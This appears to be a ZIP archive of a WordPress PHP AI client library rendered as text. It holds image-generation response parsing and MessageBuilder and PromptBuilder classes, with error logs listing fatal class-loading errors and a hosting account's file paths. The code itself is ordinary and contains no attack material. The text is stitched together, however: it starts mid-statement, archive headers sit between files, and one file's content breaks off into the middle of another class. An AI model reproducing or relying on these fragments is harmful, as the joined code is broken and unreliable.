(!$message->getRole()->isUser()) { throw new InvalidArgumentException('The API requires a user message as prompt.'); } $text = null; foreach ($message->getParts() as $part) { $text = $part->getText(); if ($text !== null) { break; } } if ($text === null) { throw new InvalidArgumentException('The API requires a single text message part as prompt.'); } return $text; } /** * Prepares the size parameter for the API request. * * @since 0.1.0 * * @param MediaOrientationEnum|null $orientation The desired media orientation. * @param string|null $aspectRatio The desired media aspect ratio. * @return string The prepared size parameter. */ protected function prepareSizeParam(?MediaOrientationEnum $orientation, ?string $aspectRatio): string { // Use aspect ratio if set, as it is more specific. if ($aspectRatio !== null) { switch ($aspectRatio) { case '1:1': return '1024x1024'; case '3:2': return '1536x1024'; case '7:4': return '1792x1024'; case '2:3': return '1024x1536'; case '4:7': return '1024x1792'; default: throw new InvalidArgumentException('The aspect ratio "' . $aspectRatio . '" is not supported.'); } } // This should always have a value, as the method is only called if at least one or the other is set. if ($orientation !== null) { if ($orientation->isLandscape()) { return '1536x1024'; } if ($orientation->isPortrait()) { return '1024x1536'; } } return '1024x1024'; } /** * Creates a request object for the provider's API. * * Implementations should use $this->getRequestOptions() to attach any * configured request options to the Request. * * @since 0.1.0 * * @param HttpMethodEnum $method The HTTP method. * @param string $path The API endpoint path, relative to the base URI. * @param array> $headers The request headers. * @param string|array|null $data The request data. * @return Request The request object. */ abstract protected function createRequest(HttpMethodEnum $method, string $path, array $headers = [], $data = null): Request; /** * Throws an exception if the response is not successful. * * @since 0.1.0 * * @param Response $response The HTTP response to check. * @throws ResponseException If the response is not successful. */ protected function throwIfNotSuccessful(Response $response): void { /* * While this method only calls the utility method, it's important to have it here as a protected method so * that child classes can override it if needed. */ ResponseUtil::throwIfNotSuccessful($response); } /** * Parses the response from the API endpoint to a generative AI result. * * @since 0.1.0 * * @param Response $response The response from the API endpoint. * @param string $expectedMimeType The expected MIME type the response is in. * @return GenerativeAiResult The parsed generative AI result. */ protected function parseResponseToGenerativeAiResult(Response $response, string $expectedMimeType = 'image/png'): GenerativeAiResult { /** @var ResponseData $responseData */ $responseData = $response->getData(); if (!isset($responseData['data']) || !$responseData['data']) { throw ResponseException::fromMissingData($this->providerMetadata()->getName(), 'data'); } if (!is_array($responseData['data'])) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), 'data', 'The value must be an array.'); } $candidates = []; foreach ($responseData['data'] as $index => $choiceData) { if (!is_array($choiceData) || array_is_list($choiceData)) { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "data[{$index}]", 'The value must be an associative array.'); } $candidates[] = $this->parseResponseChoiceToCandidate($choiceData, $index, $expectedMimeType); } $id = $this->getResultId($responseData); if (isset($responseData['usage']) && is_array($responseData['usage'])) { $usage = $responseData['usage']; $tokenUsage = new TokenUsage($usage['input_tokens'] ?? 0, $usage['output_tokens'] ?? 0, $usage['total_tokens'] ?? 0); } else { $tokenUsage = new TokenUsage(0, 0, 0); } // Use any other data from the response as provider-specific response metadata. $providerMetadata = $responseData; unset($providerMetadata['id'], $providerMetadata['data'], $providerMetadata['usage']); return new GenerativeAiResult($id, $candidates, $tokenUsage, $this->providerMetadata(), $this->metadata(), $providerMetadata); } /** * Parses a single choice from the API response into a Candidate object. * * @since 0.1.0 * * @param ChoiceData $choiceData The choice data from the API response. * @param int $index The index of the choice in the choices array. * @param string $expectedMimeType The expected MIME type the response is in. * @return Candidate The parsed candidate. * @throws RuntimeException If the choice data is invalid. */ protected function parseResponseChoiceToCandidate(array $choiceData, int $index, string $expectedMimeType = 'image/png'): Candidate { if (isset($choiceData['url']) && is_string($choiceData['url'])) { $imageFile = new File($choiceData['url'], $expectedMimeType); } elseif (isset($choiceData['b64_json']) && is_string($choiceData['b64_json'])) { $imageFile = new File($choiceData['b64_json'], $expectedMimeType); } else { throw ResponseException::fromInvalidData($this->providerMetadata()->getName(), "choices[{$index}]", 'The value must contain either a url or b64_json key with a string value.'); } $parts = [new MessagePart($imageFile)]; $message = new Message(MessageRoleEnum::model(), $parts); return new Candidate($message, FinishReasonEnum::stop()); } /** * Extracts the result ID from the API response data. * * @since 0.4.0 * * @param array $responseData The response data from the API. * @return string The result ID. */ protected function getResultId(array $responseData): string { return isset($responseData['id']) && is_string($responseData['id']) ? $responseData['id'] : ''; } } PK!'446src/Providers/OpenAiCompatibleImplementation/error_lognu[[04-Sep-2026 13:24:17 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.php:57 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleImageGenerationModel.php on line 57 [04-Sep-2026 13:24:17 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModelMetadataDirectory" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.php:22 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleModelMetadataDirectory.php on line 22 [04-Sep-2026 13:24:17 UTC] PHP Fatal error: Uncaught Error: Class "WordPress\AiClient\Providers\ApiBasedImplementation\AbstractApiBasedModel" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.php:64 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/OpenAiCompatibleImplementation/AbstractOpenAiCompatibleTextGenerationModel.php on line 64 PK!<  src/Providers/error_lognu[[04-Sep-2026 13:22:59 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClient\Providers\Contracts\ProviderInterface" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/AbstractProvider.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/AbstractProvider.php on line 18 [04-Sep-2026 13:24:18 UTC] PHP Fatal error: Uncaught Error: Interface "WordPress\AiClient\Providers\Http\Contracts\WithHttpTransporterInterface" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/ProviderRegistry.php:31 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/php-ai-client/src/Providers/ProviderRegistry.php on line 31 PK!5(src/Providers/Enums/ProviderTypeEnum.phpnu[ The parts that make up the message. */ protected array $parts = []; /** * Constructor. * * @since 0.2.0 * * @param Input $input Optional initial content. * @param MessageRoleEnum|null $role Optional role. */ public function __construct($input = null, ?MessageRoleEnum $role = null) { $this->role = $role; if ($input === null) { return; } // Handle different input types if ($input instanceof MessagePart) { $this->parts[] = $input; } elseif (is_string($input)) { $this->withText($input); } elseif ($input instanceof File) { $this->withFile($input); } elseif ($input instanceof FunctionCall) { $this->withFunctionCall($input); } elseif ($input instanceof FunctionResponse) { $this->withFunctionResponse($input); } elseif (is_array($input) && MessagePart::isArrayShape($input)) { $this->parts[] = MessagePart::fromArray($input); } else { throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, File, FunctionCall, or FunctionResponse.'); } } /** * Creates a deep clone of this builder. * * Clones all MessagePart objects in the parts array to ensure * the cloned builder is independent of the original. * * @since 0.4.2 */ public function __clone() { // Deep clone parts array (MessagePart has __clone) $clonedParts = []; foreach ($this->parts as $part) { $clonedParts[] = clone $part; } $this->parts = $clonedParts; // Note: $role is an enum value object and can be safely shared } /** * Sets the role of the message sender. * * @since 0.2.0 * * @param MessageRoleEnum $role The role to set. * @return self */ public function usingRole(MessageRoleEnum $role): self { $this->role = $role; return $this; } /** * Sets the role to user. * * @since 0.2.0 * * @return self */ public function usingUserRole(): self { return $this->usingRole(MessageRoleEnum::user()); } /** * Sets the role to model. * * @since 0.2.0 * * @return self */ public function usingModelRole(): self { return $this->usingRole(MessageRoleEnum::model()); } /** * Adds text content to the message. * * @since 0.2.0 * * @param string $text The text to add. * @return self * @throws InvalidArgumentException If the text is empty. */ public function withText(string $text): self { if (trim($text) === '') { throw new InvalidArgumentException('Text content cannot be empty.'); } $this->parts[] = new MessagePart($text); return $this; } /** * Adds a file to the message. * * Accepts: * - File object * - URL string (remote file) * - Base64-encoded data string * - Data URI string (data:mime/type;base64,data) * - Local file path string * * @since 0.2.0 * * @param string|File $file The file to add. * @param string|null $mimeType Optional MIME type (ignored if File object provided). * @return self * @throws InvalidArgumentException If the file is invalid. */ public function withFile($file, ?string $mimeType = null): self { $file = $file instanceof File ? $file : new File($file, $mimeType); $this->parts[] = new MessagePart($file); return $this; } /** * Adds a function call to the message. * * @since 0.2.0 * * @param FunctionCall $functionCall The function call to add. * @return self */ public function withFunctionCall(FunctionCall $functionCall): self { $this->parts[] = new MessagePart($functionCall); return $this; } /** * Adds a function response to the message. * * @since 0.2.0 * * @param FunctionResponse $functionResponse The function response to add. * @return self */ public function withFunctionResponse(FunctionResponse $functionResponse): self { $this->parts[] = new MessagePart($functionResponse); return $this; } /** * Adds multiple message parts to the message. * * @since 0.2.0 * * @param MessagePart ...$parts The message parts to add. * @return self */ public function withMessageParts(MessagePart ...$parts): self { foreach ($parts as $part) { $this->parts[] = $part; } return $this; } /** * Builds and returns the Message object. * * @since 0.2.0 * * @return Message The built message. * @throws InvalidArgumentException If the message validation fails. */ public function get(): Message { if (empty($this->parts)) { throw new InvalidArgumentException('Cannot build an empty message. Add content using withText() or similar methods.'); } if ($this->role === null) { throw new InvalidArgumentException('Cannot build a message with no role. Set a role using usingRole() or similar methods.'); } // At this point, we've validated that $this->role is not null /** @var MessageRoleEnum $role */ $role = $this->role; return new Message($role, $this->parts); } } PK!(cBCCsrc/Builders/PromptBuilder.phpnu[|list|null */ class PromptBuilder { /** * @var ProviderRegistry The provider registry for finding suitable models. */ private ProviderRegistry $registry; /** * @var list The messages in the conversation. */ protected array $messages = []; /** * @var ModelInterface|null The model to use for generation. */ protected ?ModelInterface $model = null; /** * @var list Ordered list of preference keys to check when selecting a model. */ protected array $modelPreferenceKeys = []; /** * @var string|null The provider ID or class name. */ protected ?string $providerIdOrClassName = null; /** * @var ModelConfig The model configuration. */ protected ModelConfig $modelConfig; /** * @var RequestOptions|null The request options for HTTP transport. */ protected ?RequestOptions $requestOptions = null; /** * @var EventDispatcherInterface|null The event dispatcher for prompt lifecycle events. */ private ?EventDispatcherInterface $eventDispatcher = null; // phpcs:disable Generic.Files.LineLength.TooLong /** * Constructor. * * @since 0.1.0 * * @param ProviderRegistry $registry The provider registry for finding suitable models. * @param Prompt $prompt Optional initial prompt content. * @param EventDispatcherInterface|null $eventDispatcher Optional event dispatcher for lifecycle events. */ // phpcs:enable Generic.Files.LineLength.TooLong public function __construct(ProviderRegistry $registry, $prompt = null, ?EventDispatcherInterface $eventDispatcher = null) { $this->registry = $registry; $this->modelConfig = new ModelConfig(); $this->eventDispatcher = $eventDispatcher; if ($prompt === null) { return; } // Check if it's a list of Messages - set as messages if ($this->isMessagesList($prompt)) { $this->messages = $prompt; return; } // Parse it as a user message $userMessage = $this->parseMessage($prompt, MessageRoleEnum::user()); $this->messages[] = $userMessage; } /** * Creates a deep clone of this builder. * * Clones all mutable state including messages, model configuration, and request options. * Service objects (registry, model, event dispatcher) are intentionally NOT cloned * as they are shared dependencies. * * @since 0.4.2 */ public function __clone() { // Deep clone messages array (Message has __clone) $clonedMessages = []; foreach ($this->messages as $message) { $clonedMessages[] = clone $message; } $this->messages = $clonedMessages; // Clone model config (ModelConfig has __clone) $this->modelConfig = clone $this->modelConfig; // Clone request options if set (contains only primitives) if ($this->requestOptions !== null) { $this->requestOptions = clone $this->requestOptions; } // Note: $registry, $model, and $eventDispatcher are service objects // and are intentionally NOT cloned - they should be shared references. } /** * Adds text to the current message. * * @since 0.1.0 * * @param string $text The text to add. * @return self */ public function withText(string $text): self { $part = new MessagePart($text); $this->appendPartToMessages($part); return $this; } /** * Adds a file to the current message. * * Accepts: * - File object * - URL string (remote file) * - Base64-encoded data string * - Data URI string (data:mime/type;base64,data) * - Local file path string * * @since 0.1.0 * * @param string|File $file The file (File object or string representation). * @param string|null $mimeType The MIME type (optional, ignored if File object provided). * @return self * @throws InvalidArgumentException If the file is invalid or MIME type cannot be determined. */ public function withFile($file, ?string $mimeType = null): self { $file = $file instanceof File ? $file : new File($file, $mimeType); $part = new MessagePart($file); $this->appendPartToMessages($part); return $this; } /** * Adds a function response to the current message. * * @since 0.1.0 * * @param FunctionResponse $functionResponse The function response. * @return self */ public function withFunctionResponse(FunctionResponse $functionResponse): self { $part = new MessagePart($functionResponse); $this->appendPartToMessages($part); return $this; } /** * Adds message parts to the current message. * * @since 0.1.0 * * @param MessagePart ...$parts The message parts to add. * @return self */ public function withMessageParts(MessagePart ...$parts): self { foreach ($parts as $part) { $this->appendPartToMessages($part); } return $this; } /** * Adds conversation history messages. * * Historical messages are prepended to the beginning of the message list, * before the current message being built. * * @since 0.1.0 * * @param Message ...$messages The messages to add to history. * @return self */ public function withHistory(Message ...$messages): self { // Prepend the history messages to the beginning of the messages array $this->messages = array_merge($messages, $this->messages); return $this; } /** * Sets the model to use for generation. * * The model's configuration will be merged with the builder's configuration, * with the builder's configuration taking precedence for any overlapping settings. * * @since 0.1.0 * * @param ModelInterface $model The model to use. * @return self */ public function usingModel(ModelInterface $model): self { $this->model = $model; // Merge model's config with builder's config, with builder's config taking precedence $modelConfigArray = $model->getConfig()->toArray(); $builderConfigArray = $this->modelConfig->toArray(); $mergedConfigArray = array_merge($modelConfigArray, $builderConfigArray); $this->modelConfig = ModelConfig::fromArray($mergedConfigArray); return $this; } /** * Sets preferred models to evaluate in order. * * @since 0.2.0 * * @param string|ModelInterface|array{0:string,1:string} ...$preferredModels The preferred models as model IDs, * model instances, or [provider ID, model ID] tuples. For broader compatibility, it is recommended you specify * only model IDs or model instances, as that will allow for different providers that expose the same model to be * considered. * @return self * * @throws InvalidArgumentException When a preferred model has an invalid type or identifier. */ public function usingModelPreference(...$preferredModels): self { if ($preferredModels === []) { throw new InvalidArgumentException('At least one model preference must be provided.'); } $preferenceKeys = []; foreach ($preferredModels as $preferredModel) { if (is_array($preferredModel)) { // [model identifier, provider ID] tuple if (!array_is_list($preferredModel) || count($preferredModel) !== 2) { throw new InvalidArgumentException('Model preference tuple must contain model identifier and provider ID.'); } [$providerId, $modelId] = $preferredModel; $modelId = $this->normalizePreferenceIdentifier($modelId); $providerId = $this->normalizePreferenceIdentifier($providerId, 'Model preference provider identifiers cannot be empty.'); $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId); } elseif ($preferredModel instanceof ModelInterface) { // Model instance $modelId = $preferredModel->metadata()->getId(); $providerId = $preferredModel->providerMetadata()->getId(); $preferenceKey = $this->createProviderModelPreferenceKey($providerId, $modelId); } elseif (is_string($preferredModel)) { // Model ID $modelId = $this->normalizePreferenceIdentifier($preferredModel); $preferenceKey = $this->createModelPreferenceKey($modelId); } else { // Invalid type throw new InvalidArgumentException('Model preferences must be model identifiers, instances of ModelInterface, ' . 'or provider/model tuples.'); } $preferenceKeys[] = $preferenceKey; } $this->modelPreferenceKeys = $preferenceKeys; return $this; } /** * Sets the model configuration. * * Merges the provided configuration with the builder's configuration, * with builder configuration taking precedence. * * @since 0.1.0 * * @param ModelConfig $config The model configuration to merge. * @return self */ public function usingModelConfig(ModelConfig $config): self { // Convert both configs to arrays $builderConfigArray = $this->modelConfig->toArray(); $providedConfigArray = $config->toArray(); // Merge arrays with builder config taking precedence $mergedArray = array_merge($providedConfigArray, $builderConfigArray); // Create new config from merged array $this->modelConfig = ModelConfig::fromArray($mergedArray); return $this; } /** * Sets the provider to use for generation. * * @since 0.1.0 * * @param string $providerIdOrClassName The provider ID or class name. * @return self */ public function usingProvider(string $providerIdOrClassName): self { $this->providerIdOrClassName = $providerIdOrClassName; return $this; } /** * Sets the system instruction. * * System instructions are stored in the model configuration and guide * the AI model's behavior throughout the conversation. * * @since 0.1.0 * * @param string $systemInstruction The system instruction text. * @return self */ public function usingSystemInstruction(string $systemInstruction): self { $this->modelConfig->setSystemInstruction($systemInstruction); return $this; } /** * Sets the maximum number of tokens to generate. * * @since 0.1.0 * * @param int $maxTokens The maximum number of tokens. * @return self */ public function usingMaxTokens(int $maxTokens): self { $this->modelConfig->setMaxTokens($maxTokens); return $this; } /** * Sets the temperature for generation. * * @since 0.1.0 * * @param float $temperature The temperature value. * @return self */ public function usingTemperature(float $temperature): self { $this->modelConfig->setTemperature($temperature); return $this; } /** * Sets the top-p value for generation. * * @since 0.1.0 * * @param float $topP The top-p value. * @return self */ public function usingTopP(float $topP): self { $this->modelConfig->setTopP($topP); return $this; } /** * Sets the top-k value for generation. * * @since 0.1.0 * * @param int $topK The top-k value. * @return self */ public function usingTopK(int $topK): self { $this->modelConfig->setTopK($topK); return $this; } /** * Sets stop sequences for generation. * * @since 0.1.0 * * @param string ...$stopSequences The stop sequences. * @return self */ public function usingStopSequences(string ...$stopSequences): self { $this->modelConfig->setStopSequences($stopSequences); return $this; } /** * Sets the number of candidates to generate. * * @since 0.1.0 * * @param int $candidateCount The number of candidates. * @return self */ public function usingCandidateCount(int $candidateCount): self { $this->modelConfig->setCandidateCount($candidateCount); return $this; } /** * Sets the function declarations available to the model. * * @since 0.1.0 * * @param FunctionDeclaration ...$functionDeclarations The function declarations. * @return self */ public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self { $this->modelConfig->setFunctionDeclarations($functionDeclarations); return $this; } /** * Sets the presence penalty for generation. * * @since 0.1.0 * * @param float $presencePenalty The presence penalty value. * @return self */ public function usingPresencePenalty(float $presencePenalty): self { $this->modelConfig->setPresencePenalty($presencePenalty); return $this; } /** * Sets the frequency penalty for generation. * * @since 0.1.0 * * @param float $frequencyPenalty The frequency penalty value. * @return self */ public function usingFrequencyPenalty(float $frequencyPenalty): self { $this->modelConfig->setFrequencyPenalty($frequencyPenalty); return $this; } /** * Sets the web search configuration. * * @since 0.1.0 * * @param WebSearch $webSearch The web search configuration. * @return self */ public function usingWebSearch(WebSearch $webSearch): self { $this->modelConfig->setWebSearch($webSearch); return $this; } /** * Sets the request options for HTTP transport. * * @since 0.3.0 * * @param RequestOptions $requestOptions The request options. * @return self */ public function usingRequestOptions(RequestOptions $requestOptions): self { $this->requestOptions = $requestOptions; return $this; } /** * Sets the top log probabilities configuration. * * If $topLogprobs is null, enables log probabilities. * If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return. * * @since 0.1.0 * * @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities. * @return self */ public function usingTopLogprobs(?int $topLogprobs = null): self { // Always enable log probabilities $this->modelConfig->setLogprobs(\true); // If a specific number is provided, set it if ($topLogprobs !== null) { $this->modelConfig->setTopLogprobs($topLogprobs); } return $this; } /** * Sets the output MIME type. * * @since 0.1.0 * * @param string $mimeType The MIME type. * @return self */ public function asOutputMimeType(string $mimeType): self { $this->modelConfig->setOutputMimeType($mimeType); return $this; } /** * Sets the output schema. * * @since 0.1.0 * * @param array $schema The output schema. * @return self */ public function asOutputSchema(array $schema): self { $this->modelConfig->setOutputSchema($schema); return $this; } /** * Sets the output modalities. * * @since 0.1.0 * * @param ModalityEnum ...$modalities The output modalities. * @return self */ public function asOutputModalities(ModalityEnum ...$modalities): self { $this->modelConfig->setOutputModalities($modalities); return $this; } /** * Sets the output file type. * * @since 0.1.0 * * @param FileTypeEnum $fileType The output file type. * @return self */ public function asOutputFileType(FileTypeEnum $fileType): self { $this->modelConfig->setOutputFileType($fileType); return $this; } /** * Sets the output media orientation. * * @since 1.3.0 * * @param MediaOrientationEnum $orientation The output media orientation. * @return self */ public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self { $this->modelConfig->setOutputMediaOrientation($orientation); return $this; } /** * Sets the output media aspect ratio. * * If set, this supersedes the output media orientation, as it is a more * specific configuration. * * @since 1.3.0 * * @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2"). * @return self */ public function asOutputMediaAspectRatio(string $aspectRatio): self { $this->modelConfig->setOutputMediaAspectRatio($aspectRatio); return $this; } /** * Sets the output speech voice. * * @since 1.3.0 * * @param string $voice The output speech voice. * @return self */ public function asOutputSpeechVoice(string $voice): self { $this->modelConfig->setOutputSpeechVoice($voice); return $this; } /** * Configures the prompt for JSON response output. * * @since 0.1.0 * * @param array|null $schema Optional JSON schema. * @return self */ public function asJsonResponse(?array $schema = null): self { $this->asOutputMimeType('application/json'); if ($schema !== null) { $this->asOutputSchema($schema); } return $this; } /** * Infers the capability from configured output modalities. * * @since 0.1.0 * * @return CapabilityEnum The inferred capability. * @throws RuntimeException If the output modality is not supported. */ private function inferCapabilityFromOutputModalities(): CapabilityEnum { // Get the configured output modalities $outputModalities = $this->modelConfig->getOutputModalities(); // Default to text if no output modality is specified if ($outputModalities === null || empty($outputModalities)) { return CapabilityEnum::textGeneration(); } // Multi-modal output (multiple modalities) defaults to text generation. This is temporary // as a multi-modal interface will be implemented in the future. if (count($outputModalities) > 1) { return CapabilityEnum::textGeneration(); } // Infer capability from single output modality $outputModality = $outputModalities[0]; if ($outputModality->isText()) { return CapabilityEnum::textGeneration(); } elseif ($outputModality->isImage()) { return CapabilityEnum::imageGeneration(); } elseif ($outputModality->isAudio()) { return CapabilityEnum::speechGeneration(); } elseif ($outputModality->isVideo()) { return CapabilityEnum::videoGeneration(); } else { // For unsupported modalities, provide a clear error message throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value)); } } /** * Infers the capability from a model's implemented interfaces. * * @since 0.1.0 * * @param ModelInterface $model The model to infer capability from. * @return CapabilityEnum|null The inferred capability, or null if none can be inferred. */ private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum { // Check model interfaces in order of preference if ($model instanceof TextGenerationModelInterface) { return CapabilityEnum::textGeneration(); } if ($model instanceof ImageGenerationModelInterface) { return CapabilityEnum::imageGeneration(); } if ($model instanceof TextToSpeechConversionModelInterface) { return CapabilityEnum::textToSpeechConversion(); } if ($model instanceof SpeechGenerationModelInterface) { return CapabilityEnum::speechGeneration(); } if ($model instanceof VideoGenerationModelInterface) { return CapabilityEnum::videoGeneration(); } // No supported interface found return null; } /** * Checks if the current prompt is supported by the selected model. * * @since 0.1.0 * @since 0.3.0 Method visibility changed to public. * * @param CapabilityEnum|null $capability Optional capability to check support for. * @return bool True if supported, false otherwise. */ public function isSupported(?CapabilityEnum $capability = null): bool { // If no intended capability provided, infer from output modalities if ($capability === null) { // First try to infer from a specific model if one is set if ($this->model !== null) { $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model); if ($inferredCapability !== null) { $capability = $inferredCapability; } } // If still no capability, infer from output modalities if ($capability === null) { $capability = $this->inferCapabilityFromOutputModalities(); } } // Build requirements with the specified capability $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig); // If the model has been set, check if it meets the requirements if ($this->model !== null) { return $requirements->areMetBy($this->model->metadata()); } try { // Check if any models support these requirements $models = $this->registry->findModelsMetadataForSupport($requirements); return !empty($models); } catch (InvalidArgumentException $e) { // No models support the requirements return \false; } } /** * Checks if the prompt is supported for text generation. * * @since 0.1.0 * * @return bool True if text generation is supported. */ public function isSupportedForTextGeneration(): bool { return $this->isSupported(CapabilityEnum::textGeneration()); } /** * Checks if the prompt is supported for image generation. * * @since 0.1.0 * * @return bool True if image generation is supported. */ public function isSupportedForImageGeneration(): bool { return $this->isSupported(CapabilityEnum::imageGeneration()); } /** * Checks if the prompt is supported for text to speech conversion. * * @since 0.1.0 * * @return bool True if text to speech conversion is supported. */ public function isSupportedForTextToSpeechConversion(): bool { return $this->isSupported(CapabilityEnum::textToSpeechConversion()); } /** * Checks if the prompt is supported for video generation. * * @since 0.1.0 * * @return bool True if video generation is supported. */ public function isSupportedForVideoGeneration(): bool { return $this->isSupported(CapabilityEnum::videoGeneration()); } /** * Checks if the prompt is supported for speech generation. * * @since 0.1.0 * * @return bool True if speech generation is supported. */ public function isSupportedForSpeechGeneration(): bool { return $this->isSupported(CapabilityEnum::speechGeneration()); } /** * Checks if the prompt is supported for music generation. * * @since 0.1.0 * * @return bool True if music generation is supported. */ public function isSupportedForMusicGeneration(): bool { return $this->isSupported(CapabilityEnum::musicGeneration()); } /** * Checks if the prompt is supported for embedding generation. * * @since 0.1.0 * * @return bool True if embedding generation is supported. */ public function isSupportedForEmbeddingGeneration(): bool { return $this->isSupported(CapabilityEnum::embeddingGeneration()); } /** * Generates a result from the prompt. * * This is the primary execution method that generates a result (containing * potentially multiple candidates) based on the specified capability or * the configured output modality. * * @since 0.1.0 * * @param CapabilityEnum|null $capability Optional capability to use for generation. * If null, capability is inferred from output modality. * @return GenerativeAiResult The generated result containing candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support the required capability. */ public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult { $this->validateMessages(); // If capability is not provided, infer it if ($capability === null) { // First try to infer from a specific model if one is set if ($this->model !== null) { $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model); if ($inferredCapability !== null) { $capability = $inferredCapability; } } // If still no capability, infer from output modalities if ($capability === null) { $capability = $this->inferCapabilityFromOutputModalities(); } } $model = $this->getConfiguredModel($capability); // Dispatch BeforeGenerateResultEvent $this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability)); // Route to the appropriate generation method based on capability $result = $this->executeModelGeneration($model, $capability, $this->messages); // Dispatch AfterGenerateResultEvent $this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result)); return $result; } /** * Executes the model generation based on capability. * * @since 0.4.0 * * @param ModelInterface $model The model to use for generation. * @param CapabilityEnum $capability The capability to use. * @param list $messages The messages to send. * @return GenerativeAiResult The generated result. * @throws RuntimeException If the model doesn't support the required capability. */ private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult { if ($capability->isTextGeneration()) { if (!$model instanceof TextGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId())); } return $model->generateTextResult($messages); } if ($capability->isImageGeneration()) { if (!$model instanceof ImageGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId())); } return $model->generateImageResult($messages); } if ($capability->isTextToSpeechConversion()) { if (!$model instanceof TextToSpeechConversionModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId())); } return $model->convertTextToSpeechResult($messages); } if ($capability->isSpeechGeneration()) { if (!$model instanceof SpeechGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId())); } return $model->generateSpeechResult($messages); } if ($capability->isVideoGeneration()) { if (!$model instanceof VideoGenerationModelInterface) { throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId())); } return $model->generateVideoResult($messages); } // TODO: Add support for other capabilities when interfaces are available throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value)); } /** * Generates a text result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing text candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support text generation. */ public function generateTextResult(): GenerativeAiResult { // Include text in output modalities $this->includeOutputModalities(ModalityEnum::text()); // Generate and return the result with text generation capability return $this->generateResult(CapabilityEnum::textGeneration()); } /** * Generates an image result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing image candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support image generation. */ public function generateImageResult(): GenerativeAiResult { // Include image in output modalities $this->includeOutputModalities(ModalityEnum::image()); // Generate and return the result with image generation capability return $this->generateResult(CapabilityEnum::imageGeneration()); } /** * Generates a speech result from the prompt. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing speech audio candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support speech generation. */ public function generateSpeechResult(): GenerativeAiResult { // Include audio in output modalities $this->includeOutputModalities(ModalityEnum::audio()); // Generate and return the result with speech generation capability return $this->generateResult(CapabilityEnum::speechGeneration()); } /** * Converts text to speech and returns the result. * * @since 0.1.0 * * @return GenerativeAiResult The generated result containing speech audio candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support text-to-speech conversion. */ public function convertTextToSpeechResult(): GenerativeAiResult { // Include audio in output modalities $this->includeOutputModalities(ModalityEnum::audio()); // Generate and return the result with text-to-speech conversion capability return $this->generateResult(CapabilityEnum::textToSpeechConversion()); } /** * Generates a video result from the prompt. * * @since 1.3.0 * * @return GenerativeAiResult The generated result containing video candidates. * @throws InvalidArgumentException If the prompt or model validation fails. * @throws RuntimeException If the model doesn't support video generation. */ public function generateVideoResult(): GenerativeAiResult { // Include video in output modalities $this->includeOutputModalities(ModalityEnum::video()); // Generate and return the result with video generation capability return $this->generateResult(CapabilityEnum::videoGeneration()); } /** * Generates text from the prompt. * * @since 0.1.0 * * @return string The generated text. * @throws InvalidArgumentException If the prompt or model validation fails. */ public function generateText(): string { return $this->generateTextResult()->toText(); } /** * Generates multiple text candidates from the prompt. * * @since 0.1.0 * * @param int|null $candidateCount The number of candidates to generate. * @return list The generated texts. * @throws InvalidArgumentException If the prompt or model validation fails. 